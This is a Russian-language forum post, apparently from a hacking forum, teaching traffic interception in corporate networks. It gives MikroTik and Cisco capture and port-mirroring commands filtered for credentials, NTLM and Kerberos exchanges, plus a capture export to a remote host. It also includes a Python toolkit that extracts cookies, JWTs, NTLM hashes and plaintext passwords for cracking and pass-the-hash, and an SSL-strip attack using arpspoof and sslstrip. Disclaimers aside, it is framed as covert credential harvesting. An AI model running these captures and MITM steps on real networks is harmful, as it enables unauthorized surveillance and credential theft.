LIMB
Вход Регистрация

тема

Сетевой трафик в больших сетях - перехват и эксплуатация.

Angust · · 1 ответов · 195 просмотров

Здарова! Сегодня поговорим о такой базовой теме как сетевой трафик. Я расскажу про актуальные векторы получения информации и пентеста, а также научу действующим тактикам при перехвате и эксплаутации трафика.
Спойлер: ⚠️ Дисклеймер - материалы предназначены только для обучения и исследований, любое
Весь публикуемый материал (включая статьи, примеры кода, описания техник, инструкции и демонстрации) предназначен исключительно для:


образовательных целей,
повышения осведомлённости в области информационной безопасности,
проведения исследований в контролируемых условиях (например, в собственных лабораториях или тестовых средах),
разработки и улучшения средств защиты.


Автор не поощряет, не поддерживает и не несёт ответственности за любое неправомерное или противоправное использование информации, включая, но не ограничиваясь:


создание, распространение или использование вредоносного программного обеспечения,
несанкционированный доступ к информационным системам, сетям или данным,
нанесение ущерба третьим лицам, организациям или инфраструктуре.


Все приведённые техники и примеры могут быть использованы только при условии наличия явного письменного разрешения владельца соответствующих систем или в полностью изолированной лабораторной среде. Использование материалов без согласия владельца ресурсов может являться нарушением законодательства и повлечь уголовную, административную или гражданскую ответственность в вашей юрисдикции.



Автор прямо заявляет, что:


не несёт ответственности за последствия использования информации читателями,
не гарантирует применимость материалов за пределами исследовательских и образовательных целей,
оставляет за собой право удалять или изменять материалы, если их публикация может привести к злоупотреблению.


Настоящий дисклеймер действует в отношении всех публикаций, размещённых автором, независимо от языка, платформы и страны доступа. Используя данный материал, вы подтверждаете, что:


действуете исключительно в рамках закона своей страны и международных норм,
берёте полную ответственность за свои действия,
понимаете, что данная публикация не является юридической консультацией.


При наличии сомнений относительно правомерности тех или иных действий настоятельно рекомендуется обратиться за консультацией к профильному юристу.

Краткая теория​

Роль перехвата трафика в корп сетях​

В первую очередь надо понимать что сетевой трафик это любая информация, и запросы/ответы. Некоторые протоколы зашифрованы но сегодня расскажу про самые популярные лазейки для получение нужной информации.

Анализ трафика позволяет понять поведение сети, понять какие протоколы безопасности и службы используются в сети и что передается в открытом виде. Основной плюс перехвата, это возможность собирать информацию и получать логи, креды, хэши, сесии без взаимодействия со структурой и риска быть замеченным.

Тактики перехвата (local sniff, router-side sniff, MITM)​

    • Local sniff - перехват пакетов которые проходят в сети и через хост на котором запущен перехват. Такой метод ограничен локальной видимостью: можно анализировать только трафик, доступный конкретному устройству (например, трафик собственной сети, broadcast-пакеты или пакеты, направленные напрямую на хост). Обычно используется для анализа активности одного пользователя или при тестировании локального окружения.

    • Router-side sniff - перехват пакетов на стороне роутера. Этот способ позволяет получить трафик всей сетевой инфраструктуры которая подключена к сети на базе сетевого оборудования. Такой способ позволяет получить доступ ко всему трафику, который проходит через маршрутизатор: это может быть сегмент корпоративной сети или даже вся инфраструктура. В этом случае анализ охватывает гораздо больший объём данных, включая взаимодействия между различными подсетями, пользователями и серверами.
  • MITM - вид атаки, при которой можно сниффить трафик между чужими устройствами.
В следующей статьи я сделаю детальную шпаргалку по митму.
Разновидность атак MITM в контексте перехвата трафика:
  • ARP Spoofing – подмена ARP-таблиц в локальной сети, жертва отправляет трафик не на шлюз, а на машину атакующего.
  • DNS Spoofing – подделка ответов DNS, перенаправление жертвы на фальшивый сервер или ресурс.
  • DHCP Spoofing – выдача ложных параметров IP-конфигурации (шлюз, DNS), что позволяет полностью контролировать маршрутизацию трафика.
  • SSL Stripping (HTTPS downgrade) – принудительное понижение соединения с HTTPS до HTTP, что открывает возможность чтения и подмены данных.
  • ICMP Redirect – использование ICMP-сообщений для изменения маршрута и перенаправления трафика через узел злоумышленника.

Настройка перехвата​

Локальная настройка перехвата​

Можно использовать любой сниффер с возможностью сохранять трафик в pcap.
Сегодня я опишу работу с:
Покажу Wireshark сначала, Network Miner изучим позже.

После запуска выбираем адаптер:
Не удалось прогрузить медиа


Запуск перехвата/Пауза/Сохранение перехваченного трафика:
Не удалось прогрузить медиа


Настройка перехвата на сетевом оборудовании​

При наличии доступа к админ панели сетевого оборудования определенных вендоров, открывается возможность перехвата и сохранения всего проходящего через него трафика.

Некоторые вендоры позволяют напрямую сниффить и сохранять траффик в pcap, если эта функция не предусмотрена - можно настроить зеркалирование трафика на отдельный порт с действующим анализатором.

Подходящие вендоры:
  • Code:
    Cisco
    Juniper Networks
    Aruba (HPE)
    Dell EMC Networking
    MikroTik
    TP-Link (управляемые линейки JetStream/Omada)
    Fortinet
    Palo Alto Networks
    Huawei
    Zyxel (управляемые серии)
    Ubiquiti (UniFi, EdgeSwitch)
    Check Point
    Allied Telesis

Перехват и сохранение трафика на стороне сетевого оборудования​

Mikrotik:
Будем делать на примере циско и микрота. Для удобной работы советую использовать консольную оболочку.

Code:
/tool sniffer set filter-interface=<interface-name> file-name=<file-name> streaming-enabled=yes
/tool/sniffer/start
После запуска сниффера в памяти оборудования создается .pcap файл.

Остановка записи пакетов и сохранение файла:
Code:
/tool/sniffer/stop

Также возможно сохранение трафика файл с автоматической остановкой после определенного количества пакетов:
Code:
file-limit=<mb>

Полезные фильтры:
Ловим открытые логины/пароли (Telnet/FTP) и SMB-трафик с возможностью извлечь файлы и NTLM-артефакты.
Code:
/tool/sniffer/set filter-port=23,21,445,139 file-name=creds_files.pcap streaming-enabled=yes
/tool/sniffer/start


Ловим NTLM challenge/response, LDAP-запросы (список пользователей/групп) и Kerberos-обмены для дальнейшего анализа и разведки AD
Code:
/tool/sniffer/set filter-port=445,139,389,88 file-name=ad_recon.pcap streaming-enabled=yes
/tool/sniffer/start


Поиск  HTTP и сопутствующие веб-каналы (HTTP + альтернативные порты + HTTPS метаданные)
Code:
/tool/sniffer/set filter-interface=bridge filter-port=80,8080,8000,443 file-name=http_exfil_c2.pcap streaming-enabled=yes
/tool/sniffer/start


Перехват писем и вложений при отсутствии TLS (25/110/143) и сбор метаданных/попыток подключения на защищённых портах (993/995) для последующего анализа.
Code:
/tool/sniffer/set filter-port=25,110,143,995,993 file-name=mail.pcap streaming-enabled=yes
/tool/sniffer/start



Cisco:
Делаем захват всего проходящего трафика на интерфейсе и сохраняем в pcap-файл на удалённом хосте.
Базовая конфигурация (создать буфер, привязать к интерфейсу, старт)
Code:
enable
configure terminal

! 1. Создать круговой буфер (пример 50000 KB)
monitor capture CAP buffer circular size 50000

! 2. Привязать захват к интерфейсу (both = ingress+egress)
monitor capture CAP interface GigabitEthernet0/0 both

! 3. Если нужен фильтр — указать. Для "всего" используем any
monitor capture CAP match any

! 4. Запустить захват
monitor capture CAP start


Мониторинг процесса (проверка, что захват идёт)
Code:
show monitor capture CAP buffer

show monitor capture CAP

! Быстрый просмотр захваченных пакетов (только кратко)
show monitor capture CAP detail


Остановка и сохранение в pcap
Code:
monitor capture CAP stop

! Экспортировать pcap на SCP (пример)
monitor capture CAP export scp://user:[email protected]:/tmp/capture.pcap

! Или экспорт в TFTP/FTP/bootflash (в зависимости от платформы)
monitor capture CAP export tftp://192.0.2.20/capture.pcap
! или
monitor capture CAP export bootflash:capture.pcap

Зеркалирование порта и перенаправление трафика на сниффер​

Mikrotik:
Подходит для устройств с аппаратным switch (CRS, некоторые RB). Если вы не уверены в поддержке — делайте через Winbox/WebFig (Switch → Mirror).

Добавляем правило зеркалирования (дублировать ingress+egress с порта(ов) на порт со сниффером):
Зеркалируем весь трафик по VLAN/порту/мосту на порт ether10:
Code:
/interface bridge mirror add bridge=bridge1 ingress=yes egress=yes mirror-target=ether10

Проверить существующие зеркала:
Code:
/interface bridge mirror print

Подключаем ПК-сниффер (Wireshark, NetworkMiner) к ether10 и запускаем захват.

Удалить зеркало после перехвата:
Code:
/interface bridge mirror remove numbers=0

Проверка трафика на целевом порту (быстрая):
Code:
/interface monitor-traffic interface=ether10 once

Если зеркалируете VLAN, убедись, что bridge/порт корректно настроены и теги проходят.
В WebFig/Winbox: Switch → Mirror (GUI позволяет выбрать Source/Target визуально).


Cisco:
Если сниффер втыкается в тот же коммутатор, то проще всего снять все VLAN/порты в одной SPAN-сессии.
Code:
enable configure terminal

Создаём сессию SPAN
Code:
monitor session 1 source vlan 1-4094 both

или можно просто указать все активные интерфейсы как source
Code:
monitor session 1 source interface Gi0/1 - 48 both

Назначаем порт сниффера как приёмник
Code:
monitor session 1 destination interface GigabitEthernet1/0/48

Проверяем
Code:
show monitor session 1

Траффик должен перенаправлятся на хост со сниффером.

Анализ и сортировка​

Парсинг из трафика​

Тут много писать не буду, работу с Wireshark-ом я описывал выше, так что покажу автоматизацию парсинга на Python.

Будем использовать инструмент/модуль tshark.

Python:
# pcap_tools.py
import os
import re
import json
import csv
import socket
import subprocess
from typing import List
import pyshark
import dpkt

def _ensure_dir(p: str):
    if p and not os.path.exists(p):
        os.makedirs(p, exist_ok=True)

def _inet_to_str(b: bytes) -> str:
    try:
        return socket.inet_ntop(socket.AF_INET, b)
    except Exception:
        try:
            return socket.inet_ntop(socket.AF_INET6, b)
        except Exception:
            return str(b)

# SNI и сертификаты
def extract_sni_certs(pcap: str, out_json: str = "sni_certs.json"):
    res = []
    cap = pyshark.FileCapture(pcap, display_filter='tls.handshake and (tls.handshake.type == 1 or tls.handshake.type == 11)', keep_packets=False)
    for pkt in cap:
        try:
            r = {"time": str(getattr(pkt, "sniff_time", "")),
                 "ip_src": getattr(pkt.ip, "src", None) if hasattr(pkt, "ip") else None,
                 "ip_dst": getattr(pkt.ip, "dst", None) if hasattr(pkt, "ip") else None,
                 "sni": None, "cert_subjects": [], "cert_issuer": None, "tls_version": None, "cipher": None}
            if hasattr(pkt.tls, 'handshake_extensions_server_name'):
                r["sni"] = pkt.tls.handshake_extensions_server_name
            if hasattr(pkt.tls, 'x509ce_subject'):
                r["cert_subjects"].append(pkt.tls.x509ce_subject)
            if hasattr(pkt.tls, 'x509ce_issuer'):
                r["cert_issuer"] = pkt.tls.x509ce_issuer
            if hasattr(pkt.tls, 'record_version'):
                r["tls_version"] = pkt.tls.record_version
            if hasattr(pkt.tls, 'handshake_ciphersuite'):
                r["cipher"] = pkt.tls.handshake_ciphersuite
            res.append(r)
        except Exception:
            continue
    cap.close()
    _ensure_dir(os.path.dirname(out_json) or ".")
    with open(out_json, "w", encoding="utf-8") as f:
        json.dump(res, f, indent=2, ensure_ascii=False)

# HTTP cookie и JWT
_JWT_RE = re.compile(rb'eyJ[A-Za-z0-9_\-]+\.[A-Za-z0-9_\-]+\.[A-Za-z0-9_\-]+')
def extract_http_cookies_jwt(pcap: str, out_csv: str = "http_cookies_jwt.csv"):
    _ensure_dir(os.path.dirname(out_csv) or ".")
    with open(out_csv, "w", newline="", encoding="utf-8") as fh:
        writer = csv.DictWriter(fh, fieldnames=["time","src","dst","host","uri","method","cookie","auth","jwt"])
        writer.writeheader()
        cap = pyshark.FileCapture(pcap, display_filter='http.request', keep_packets=False)
        for pkt in cap:
            try:
                row = {"time": str(getattr(pkt, "sniff_time", "")),
                       "src": getattr(pkt.ip, "src", None) if hasattr(pkt, "ip") else None,
                       "dst": getattr(pkt.ip, "dst", None) if hasattr(pkt, "ip") else None,
                       "host": getattr(pkt.http, "host", None) if hasattr(pkt, "http") else None,
                       "uri": getattr(pkt.http, "request_uri", None) if hasattr(pkt, "http") else None,
                       "method": getattr(pkt.http, "request_method", None) if hasattr(pkt, "http") else None,
                       "cookie": getattr(pkt.http, "cookie", None) if hasattr(pkt, "http") else None,
                       "auth": getattr(pkt.http, "authorization", None) if hasattr(pkt, "http") else None,
                       "jwt": None}
                raw = bytes(str(pkt).encode("utf-8", errors="ignore"))
                m = _JWT_RE.search(raw)
                if m:
                    try:
                        row["jwt"] = m.group(0).decode('utf-8', errors='ignore')
                    except Exception:
                        row["jwt"] = m.group(0).hex()
                writer.writerow(row)
            except Exception:
                continue
        cap.close()

# Экспорт HTTP-объектов через tshark
def export_http_objects(pcap: str, out_dir: str = "http_objs"):
    _ensure_dir(out_dir)
    cmd = ["tshark", "-r", pcap, "--export-objects", f"http,{out_dir}"]
    subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

# Список POST-запросов
def list_http_posts(pcap: str, out_csv: str = "http_posts.csv"):
    _ensure_dir(os.path.dirname(out_csv) or ".")
    cmd = [
        "tshark", "-r", pcap,
        "-Y", 'http.request.method == "POST"',
        "-T", "fields",
        "-e", "frame.time_epoch",
        "-e", "ip.src",
        "-e", "http.host",
        "-e", "http.request.uri",
        "-e", "http.content_length",
        "-E", "separator=,",
        "-E", "quote=d"
    ]
    proc = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    with open(out_csv, "wb") as f:
        f.write(proc.stdout)

# DNS запросы (dpkt)
def extract_dns(pcap: str, out_csv: str = "dns_queries.csv"):
    _ensure_dir(os.path.dirname(out_csv) or ".")
    with open(pcap, "rb") as f, open(out_csv, "w", newline="", encoding="utf-8") as out:
        pcap_r = dpkt.pcap.Reader(f)
        w = csv.writer(out)
        w.writerow(["time","src","dst","qname","qtype"])
        for ts, buf in pcap_r:
            try:
                eth = dpkt.ethernet.Ethernet(buf)
                if not isinstance(eth.data, dpkt.ip.IP):
                    continue
                ip = eth.data
                if isinstance(ip.data, dpkt.udp.UDP):
                    udp = ip.data
                    if udp.sport == 53 or udp.dport == 53:
                        try:
                            dns = dpkt.dns.DNS(udp.data)
                        except Exception:
                            continue
                        if dns.qr == dpkt.dns.DNS_Q and dns.qd:
                            for q in dns.qd:
                                w.writerow([ts, _inet_to_str(ip.src), _inet_to_str(ip.dst), q.name, q.type])
            except Exception:
                continue

# NTLMSSP через tshark
def extract_ntlmsssp(pcap: str, out_csv: str = "ntlmssp.csv"):
    _ensure_dir(os.path.dirname(out_csv) or ".")
    cmd = [
        "tshark", "-r", pcap, "-Y", "ntlmssp",
        "-T", "fields",
        "-e", "frame.time_epoch",
        "-e", "ip.src",
        "-e", "ip.dst",
        "-e", "ntlmssp.username",
        "-e", "ntlmssp.domain",
        "-e", "ntlmssp.challenge",
        "-e", "ntlmssp.msg_type",
        "-E", "separator=,",
        "-E", "quote=d"
    ]
    proc = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    with open(out_csv, "wb") as f:
        f.write(proc.stdout)

# Поиск plaintext credentials (raw)
_CRED_RE = re.compile(
    rb'(?:(?:user|login|username|usr)[\s:=]{0,5}([^\s,;:&]+))|(?:(?:pass|password|pwd)[\s:=]{0,5}([^\s,;:&]+))',
    re.I
)
def extract_plaintext_creds(pcap: str, out_csv: str = "plaintext_creds.csv"):
    _ensure_dir(os.path.dirname(out_csv) or ".")
    cmd = [
        "tshark", "-r", pcap,
        "-Y", "telnet or ftp or smtp or pop or imap or http.request or ldap or snmp",
        "-T", "fields",
        "-e", "frame.time_epoch",
        "-e", "ip.src",
        "-e", "ip.dst",
        "-e", "tcp.port",
        "-e", "udp.port",
        "-e", "data.text",
        "-E", "separator=|"
    ]
    proc = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    with open(out_csv, "w", newline="", encoding="utf-8") as fh:
        w = csv.writer(fh)
        w.writerow(["time","src","dst","sport","dport","user","pass","context"])
        for line in proc.stdout.splitlines():
            try:
                parts = line.split(b"|", maxsplit=5)
                if len(parts) < 6:
                    continue
                t, src, dst, sport, dport, data = parts
                if not data:
                    continue
                m = _CRED_RE.findall(data)
                user = ""
                pwd = ""
                for g in m:
                    for group in g:
                        if group:
                            s = group.decode(errors="ignore")
                            if re.search(r'(?i)user|login|username', data.decode(errors="ignore")) and not user:
                                user = s
                            elif re.search(r'(?i)pass|password|pwd', data.decode(errors="ignore")) and not pwd:
                                pwd = s
                if user or pwd:
                    w.writerow([t.decode(errors="ignore"), src.decode(errors="ignore"), dst.decode(errors="ignore"),
                                sport.decode(errors="ignore"), dport.decode(errors="ignore"),
                                user, pwd, data.decode(errors="ignore")[:1000]])
            except Exception:
                continue

# SNMP community
def extract_snmp_communities(pcap: str, out_csv: str = "snmp_communities.csv"):
    _ensure_dir(os.path.dirname(out_csv) or ".")
    cmd = ["tshark", "-r", pcap, "-Y", "snmp", "-T", "fields", "-e", "frame.time_epoch", "-e", "ip.src", "-e", "ip.dst", "-e", "snmp.community", "-E", "separator=,", "-E", "quote=d"]
    proc = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    with open(out_csv, "wb") as f:
        f.write(proc.stdout)

# LDAP binds
def extract_ldap_binds(pcap: str, out_csv: str = "ldap_binds.csv"):
    _ensure_dir(os.path.dirname(out_csv) or ".")
    cmd = ["tshark", "-r", pcap, "-Y", "ldap", "-T", "fields", "-e", "frame.time_epoch", "-e", "ip.src", "-e", "ip.dst", "-e", "ldap.bind.request.name", "-E", "separator=,", "-E", "quote=d"]
    proc = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    with open(out_csv, "wb") as f:
        f.write(proc.stdout)

# NetBIOS names
def extract_netbios_names(pcap: str, out_csv: str = "netbios_names.csv"):
    _ensure_dir(os.path.dirname(out_csv) or ".")
    cmd = ["tshark", "-r", pcap, "-Y", "nbns", "-T", "fields", "-e", "frame.time_epoch", "-e", "ip.src", "-e", "ip.dst", "-e", "nbns.name", "-E", "separator=,", "-E", "quote=d"]
    proc = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    with open(out_csv, "wb") as f:
        f.write(proc.stdout)

# Аггрегация IOC
def aggregate_ioc(pcap: str, out_json: str = "ioc_summary.json"):
    res = {"sni": [], "dns": [], "http_hosts": []}
    try:
        proc = subprocess.run(["tshark", "-r", pcap, "-Y", "tls.handshake.extensions_server_name", "-T", "fields", "-e", "tls.handshake.extensions_server_name"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        if proc.returncode == 0:
            res["sni"] = sorted(set(x.strip() for x in proc.stdout.decode(errors="ignore").splitlines() if x.strip()))
    except Exception:
        pass
    try:
        proc = subprocess.run(["tshark", "-r", pcap, "-Y", "http.request", "-T", "fields", "-e", "http.host"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        if proc.returncode == 0:
            res["http_hosts"] = sorted(set(x.strip() for x in proc.stdout.decode(errors="ignore").splitlines() if x.strip()))
    except Exception:
        pass
    dns_tmp = "tmp_dns.csv"
    extract_dns(pcap, out_csv=dns_tmp)
    dns_names = set()
    try:
        with open(dns_tmp, "r", encoding="utf-8") as fh:
            next(fh)
            for l in fh:
                parts = l.split(",")
                if len(parts) >= 4:
                    dns_names.add(parts[3].strip())
    except Exception:
        pass
    res["dns"] = sorted(dns_names)
    _ensure_dir(os.path.dirname(out_json) or ".")
    with open(out_json, "w", encoding="utf-8") as f:
        json.dump(res, f, indent=2, ensure_ascii=False)
    try:
        os.remove(dns_tmp)
    except Exception:
        pass
  • Функционал:
    Собирает SNI из ClientHello и базовые поля сертификатов из ServerHello/Certificate. Полезно для картографии внешних сервисов и поиска подозрительных доменов.
  • extract_http_cookies_jwt(pcap, out_csv)

    Извлекает заголовки HTTP-запросов: cookie, Authorization, пытается найти JWT в теле/заголовках. Удобно для захвата сессионных маркеров.
  • export_http_objects(pcap, out_dir)

    Вызывает tshark --export-objects http и сохраняет все найденные HTTP-объекты (страницы, загрузки, вложения) в папку.
  • list_http_posts(pcap, out_csv)

    Формирует CSV со всеми HTTP POST (time, src, host, uri, content_length). Помогает быстро найти потенциальную эксфильтрацию.
  • extract_dns(pcap, out_csv)

    Быстрый проход pcap через dpkt и экспорт всех DNS-запросов с метаданными. Полезно для поиска C2/подозрительных доменов.
  • extract_ntlmsssp(pcap, out_csv)

    Экспортирует NTLMSSP-поля (username, domain, challenge, msg_type) через tshark для оффлайн-анализа и подготовки артефактов для кракинга/Pass-the-Hash.
  • extract_plaintext_creds(pcap, out_csv)

    Использует tshark для вытяжки raw payload текстовых протоколов и regex-скан для возможных username/password. Быстрый способ найти явные креденшалы.
  • extract_snmp_communities(pcap, out_csv)

    Экспортирует SNMP community strings (v1/v2) — часто даёт «public/private» и другую служебную информацию.
  • extract_ldap_binds(pcap, out_csv)

    Извлекает LDAP bind-имена и другие поля запроса, полезно для понимания структуры AD при незашифрованном LDAP.
  • extract_netbios_names(pcap, out_csv)

    Собирает NetBIOS-имена/запросы для быстрой картографии локальной сети.
  • aggregate_ioc(pcap, out_json)

    Формирует краткий дайджест IOCs: уникальные SNI, HTTP-hosts, DNS-имена. Удобно как первый шаг разведки.

Использование credslayer​

Credslayer - инструмент для автоматического парсинга ценной информации из траффика.

Поддержка протоколов:
  • Code:
    FTP
    SMTP / IMAP / POP3
    Telnet
    HTTP
    LDAP
    SNMP
    MySQL / PostgreSQL
    NTLMSSP
    Kerberos coming soon...

Установка и запуск:
Bash:
pip install credslayer<br>credslayer &lt;.pcap file&gt;<br>

Не удалось прогрузить медиа

Не удалось прогрузить медиа

​

Построение карты через Network Miner​

Network Miner - инструмент для перехвата, анализа и удобной сортировки траффика.

Основное преимущество инструмента это визуализация сетевого сегмента и сортировка полезных данных таких как:
  • - Затронутые в пакетах хосты
  • - Файлы в траффике
  • - Выгрузка изображений с траффика
  • - Учетные данные
  • - Сессии
  • - DNS пакеты
  • - Параметры протоколов (например SMB)
Инструмент умеет перехватывать трафик с автоматической отработкой а также умеет работать с готовыми .pcap файлами.
Для перехвата пакетов выберите интерфейс и нажмите “Start”. Данные автоматически начнут добавляться в колонки.

Отчет по трафику
Список хостов:
Не удалось прогрузить медиа


Переданные в трафике файлы (Автоматическое сохранение в папку):
Не удалось прогрузить медиа


Переданные изображения (Автоматическое сохранение в папку):
Не удалось прогрузить медиа


Учетные данные и cookie-файлы:
Не удалось прогрузить медиа


Сетевые и веб сессии :
Не удалось прогрузить медиа


DNS сервера:
Не удалось прогрузить медиа


Параметры протоколов:
Не удалось прогрузить медиа


Получаем HTTPS в открытом виде (Спойлер на след.  статью)​

SSL strip - вид MITM атаки, при которой происходит arp spoofing и подмена запросов с HTTPS на HTTP протокол. Это позволяет получать все пакеты HTTPS в открытом виде.
Важный момент - атаку иногда лочат новые браузеры так что на самых новых ОС не получится перенаправить трафик с одного протокола на другой, исключая кейсы с СИ.

Добавление параметра перенаправления трафика на 8888:
Code:
iptables -t nat -A PREROUTING -p tcp-destination-port 80 -j REDIRECT-to-port 8888

Проброс трафика на себя:
Code:
arpspoof -i eth0 -t&nbsp;*'Victims IP’* ‘Your IP'`

Для подмены протоколов будем использовать инструмент sslstrip - https://github.com/moxie0/sslstrip

Запускаем 8888 порт:
Code:
sslstrip -l 8888

Теперь весь трафик http будет проходить через наш хост, запускаем tshark/wireshark и сохраняем нужный трафик.

Тут я кратко описал самый базовый и публичный метод, следующую статью я посвячу MITM атакам SSL strip + DNS injection которые позволяют обходить защиты и перенаправлять клиентов сети на http протокол для захвата данных в открытом виде.

Итоги​

Сегодня мы научились работать с сетевым оборудованием в контексте перехвата трафика, чтобы получать ценные данные со всей сети при пентесте.
Я показал как настроить перехват и сохранение трафика на сетевом оборудовании, а также научил вас зеркалировать все пакеты на локальный сниффер для дальнейшего анализа.
Тема вроде простенькая но об ней никто особо не писал, особенно про сетевое оборудование в контексте перехвата трафика. Так что думаю, статья имеет место быть.

Дисклеймер/Disclaimer​

Спойлер: ⚠️ Дисклеймер - материалы предназначены только для обучения и исследований, любое
Весь публикуемый материал (включая статьи, примеры кода, описания техник, инструкции и демонстрации) предназначен исключительно для:


образовательных целей,
повышения осведомлённости в области информационной безопасности,
проведения исследований в контролируемых условиях (например, в собственных лабораториях или тестовых средах),
разработки и улучшения средств защиты.


Автор не поощряет, не поддерживает и не несёт ответственности за любое неправомерное или противоправное использование информации, включая, но не ограничиваясь:


создание, распространение или использование вредоносного программного обеспечения,
несанкционированный доступ к информационным системам, сетям или данным,
нанесение ущерба третьим лицам, организациям или инфраструктуре.


Все приведённые техники и примеры могут быть использованы только при условии наличия явного письменного разрешения владельца соответствующих систем или в полностью изолированной лабораторной среде. Использование материалов без согласия владельца ресурсов может являться нарушением законодательства и повлечь уголовную, административную или гражданскую ответственность в вашей юрисдикции.



Автор прямо заявляет, что:


не несёт ответственности за последствия использования информации читателями,
не гарантирует применимость материалов за пределами исследовательских и образовательных целей,
оставляет за собой право удалять или изменять материалы, если их публикация может привести к злоупотреблению.


Настоящий дисклеймер действует в отношении всех публикаций, размещённых автором, независимо от языка, платформы и страны доступа. Используя данный материал, вы подтверждаете, что:


действуете исключительно в рамках закона своей страны и международных норм,
берёте полную ответственность за свои действия,
понимаете, что данная публикация не является юридической консультацией.


При наличии сомнений относительно правомерности тех или иных действий настоятельно рекомендуется обратиться за консультацией к профильному юристу.

👍12 😮2 🤔3
Хорошая статья от молодежи

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.